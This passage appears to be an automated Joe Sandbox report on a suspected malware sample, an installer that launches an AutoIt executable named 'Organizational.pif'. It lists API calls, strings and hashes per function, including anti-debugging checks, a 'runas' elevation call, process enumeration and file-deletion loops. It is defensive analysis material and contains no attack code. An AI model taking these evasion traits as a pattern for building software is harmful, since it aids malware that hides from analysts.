ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Organizational.pifPID: 5884, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	99

Executed Functions

Function 00F05240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F0526C
IsDebuggerPresent.KERNEL32 ref: 00F0527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00F052E6

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Part of subcall function 00EFBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00EFBC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00F05366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse user this program.,AutoIt,00000010), ref: 00F40B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00F40B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00FA6D10), ref: 00F40BE9
ShellExecuteW.SHELL32(00000000), ref: 00F40BF0

Part of subcall function 00F0514C: GetSysColorBrush.USER32(0000000F), ref: 00F05156
Part of subcall function 00F0514C: LoadCursorW.USER32(00000000,00007F00), ref: 00F05165
Part of subcall function 00F0514C: LoadIconW.USER32(00000063), ref: 00F0517C
Part of subcall function 00F0514C: LoadIconW.USER32(000000A4), ref: 00F0518E
Part of subcall function 00F0514C: LoadIconW.USER32(000000A2), ref: 00F051A0
Part of subcall function 00F0514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00F051C6
Part of subcall function 00F0514C: RegisterClassExW.USER32(?), ref: 00F0521C

Part of subcall function 00F050DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00F05109
Part of subcall function 00F050DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00F0512A
Part of subcall function 00F050DB: ShowWindow.USER32(00000000), ref: 00F0513E
Part of subcall function 00F050DB: ShowWindow.USER32(00000000), ref: 00F05147

Part of subcall function 00F059D3: _memset.LIBCMT ref: 00F059F9
Part of subcall function 00F059D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F05A9E

Strings

It is a violation of the AutoIt EULA to attempt to reverse user this program., xrefs: 00F40B28
AutoIt, xrefs: 00F40B23
runas, xrefs: 00F40BE4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse user this program.$runas
API String ID: 529118366-2030392706
Opcode ID: f711ca80c4859250fda0a170db6c0e9686af9d6c8538d62a5a634baa53e01094
Instruction ID: 7dc961c0f60914b55a22a35db7a98e2ac9d85da5c93450bc21332fa52db310cc
Opcode Fuzzy Hash: f711ca80c4859250fda0a170db6c0e9686af9d6c8538d62a5a634baa53e01094
Instruction Fuzzy Hash: 8C51C131D0834CAADF11BBB0DC45EFE7B79AF85740B104169F951A21A2CAB85949FF21

Function 00F53CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F10284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F02A58,?,00008000), ref: 00F102A4

Part of subcall function 00F54FEC: GetFileAttributesW.KERNEL32(?,00F53BFE), ref: 00F54FED

FindFirstFileW.KERNEL32(?,?), ref: 00F53D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00F53E3E
MoveFileW.KERNEL32(?,?), ref: 00F53E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00F53E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00F53E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00F53EAC

Strings

\*.*, xrefs: 00F53D41, 00F53D4A, 00F53D5F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 897d726a79b3f9e0a2fd429368bca54da52046d1772afe5b5f17d5a9eadceba0
Instruction ID: 839b36dad2f24b7d1dc7ab73a216ca79b81d2f574a79c108d8159fe6307f5fe5
Opcode Fuzzy Hash: 897d726a79b3f9e0a2fd429368bca54da52046d1772afe5b5f17d5a9eadceba0
Instruction Fuzzy Hash: 68516D3180115DABCF16EBA4CD929EDB7B9AF10351F604165E942A3092EF396F0DFB60

Function 00F05D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00F05D40

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

GetCurrentProcess.KERNEL32(?,00F80A18,00000000,00000000,?), ref: 00F05E07
IsWow64Process.KERNEL32(00000000), ref: 00F05E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00F05E54
FreeLibrary.KERNEL32(00000000), ref: 00F05E5F
GetSystemInfo.KERNEL32(00000000), ref: 00F05E90
GetSystemInfo.KERNEL32(00000000), ref: 00F05E9C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 7d4d0d0d228a1b10322de9b0fab181ddd5e1e19c85f1446192ddaef5e5360534
Instruction ID: 346d9fde6171b67085f0a13bc28e78979f45b8335581f5cb965000eaca26b4a1
Opcode Fuzzy Hash: 7d4d0d0d228a1b10322de9b0fab181ddd5e1e19c85f1446192ddaef5e5360534
Instruction Fuzzy Hash: DC91E631949BC4DEC731CB78C4541ABBFE5AF25310B880A5ED0C783A81D674A58CFB59

Function 00F54005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F10284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F02A58,?,00008000), ref: 00F102A4

Part of subcall function 00F54FEC: GetFileAttributesW.KERNEL32(?,00F53BFE), ref: 00F54FED

FindFirstFileW.KERNEL32(?,?), ref: 00F5407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00F540CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00F540DD
FindClose.KERNEL32(00000000), ref: 00F540F4
FindClose.KERNEL32(00000000), ref: 00F540FD

Strings

\*.*, xrefs: 00F5404E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 0ee53e6701dedbc2cd77d5273c90aa15d7b7a18bd147ca3930fbe76f901fda9b
Instruction ID: bf23dae95f5f26d657b27ce397d6219fb263ca4a0c8b233cdde291bc087fc5d8
Opcode Fuzzy Hash: 0ee53e6701dedbc2cd77d5273c90aa15d7b7a18bd147ca3930fbe76f901fda9b
Instruction Fuzzy Hash: 96317E31008385ABC301EB60CC959EFB7E8BE95315F444A1DF9E5821D2DB64EA4DF7A2

Function 00F54148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00F5416D
Process32FirstW.KERNEL32(00000000,?), ref: 00F5417B
Process32NextW.KERNEL32(00000000,?), ref: 00F5419B
CloseHandle.KERNEL32(00000000), ref: 00F54245

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e7ec85af8115f25634b623391584217174c6897dc568d99388a440b3151dc227
Instruction ID: 38f26b45d7f9aeebfe0361756652b4d6e7d7d10a6447bd244423fe774e7b89a0
Opcode Fuzzy Hash: e7ec85af8115f25634b623391584217174c6897dc568d99388a440b3151dc227
Instruction Fuzzy Hash: F631A0711083419FD301EF50DC85AAFBBE8BF95355F40052DFA86C21E1EB74AA89EB52

Function 00EFB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00F03740: CharUpperBuffW.USER32(?,00FB71DC,00000000,?,00000000,00FB71DC,?,00EF53A5,?,?,?,?), ref: 00F0375D

_memmove.LIBCMT ref: 00EFB68A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 32585744299c66121312964b307ae808df082d44e98628ff961e82249e6d12a7
Instruction ID: 87262722dec6a609d148a4ed2854b5caba27f91160f96877d95942493c65bcb5
Opcode Fuzzy Hash: 32585744299c66121312964b307ae808df082d44e98628ff961e82249e6d12a7
Instruction Fuzzy Hash: 51A29870A08345CFC720DF24C480B6AB7E1BF88314F14995DEA9AAB361D774ED85DB92

Function 00F5494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00F3FC86), ref: 00F5495A
FindFirstFileW.KERNEL32(?,?), ref: 00F5496B
FindClose.KERNEL32(00000000), ref: 00F5497B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 8dbbde229608c0788b7f0e12e2fec32df15a33912d376517ab1f5caff1c4f5f3
Instruction ID: dec245585f933fe6b9b2f4d606e5797bdc9831881a49bda3cd7ef54ad2bea115
Opcode Fuzzy Hash: 8dbbde229608c0788b7f0e12e2fec32df15a33912d376517ab1f5caff1c4f5f3
Instruction Fuzzy Hash: 67E048318149199757106738EC4E8FA775C9F4637AF500715F935C11D0EB70A98C6796

Function 00EF94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d28d0a4d07aa95800ec0866cbf0ee07fe097733267a9c8f0f0f26dc685d4414c
Instruction ID: 1c1af068b13383abe283305ae8c929241b4299922509045f9d2e8fb076428bad
Opcode Fuzzy Hash: d28d0a4d07aa95800ec0866cbf0ee07fe097733267a9c8f0f0f26dc685d4414c
Instruction Fuzzy Hash: 9B22AE74E0020ACFDB24DF54C880BBEB7B0FF49310F159169EA86AB352D774A985DB91

Function 00EFBC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00EFBF57

Part of subcall function 00EF52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EF52E6

Sleep.KERNEL32(0000000A,?,?), ref: 00F336B5

Strings

@GUI_CTRLID, xrefs: 00F3376C
@GUI_WINHANDLE, xrefs: 00F337C1
@GUI_CTRLHANDLE, xrefs: 00F33816
@COM_EVENTOBJ, xrefs: 00F33D2E
CALL, xrefs: 00EFC277
@TRAY_ID, xrefs: 00F33FCD

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessagePeekSleepTimetime
